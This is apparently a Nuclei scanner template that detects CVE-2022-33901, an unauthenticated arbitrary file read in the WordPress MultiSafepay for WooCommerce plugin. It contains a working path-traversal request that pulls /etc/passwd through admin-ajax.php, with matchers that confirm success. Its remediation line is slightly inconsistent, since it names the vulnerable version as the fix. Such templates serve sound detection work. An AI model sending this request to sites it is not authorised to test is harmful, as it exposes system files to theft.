id: CVE-2022-33901

info:
  name: WordPress MultiSafepay for WooCommerce <=4.13.1 - Arbitrary File Read
  author: theamanrawat
  severity: high
  description: |
    WordPress MultiSafepay for WooCommerce plugin through 4.13.1 contains an arbitrary file read vulnerability. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can access sensitive information stored in arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Update WordPress MultiSafepay for WooCommerce plugin to version 4.13.1 or later.
  reference:
    - https://wordpress.org/plugins/multisafepay/
    - https://wordpress.org/plugins/multisafepay/#developers
    - https://patchstack.com/database/vulnerability/multisafepay/wordpress-multisafepay-plugin-for-woocommerce-plugin-4-13-1-unauthenticated-arbitrary-file-read-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33901
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-33901
    epss-score: 0.02118
    epss-percentile: 0.79448
    cpe: cpe:2.3:a:multisafepay:multisafepay_plugin_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: multisafepay
    product: multisafepay_plugin_for_woocommerce
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wp,wordpress,unauth,multisafepay,woocommerce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=admin_init&log_filename=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022077c6512e60a990aea0208beba5549087f345d31facf3e922272fac97e6f5ab4a02200495b632904f95845f55c9a3af9d5c2e1793ad01d0c774e83b2b1e182207ba45:922c64590222798bb761d5b6d8e72950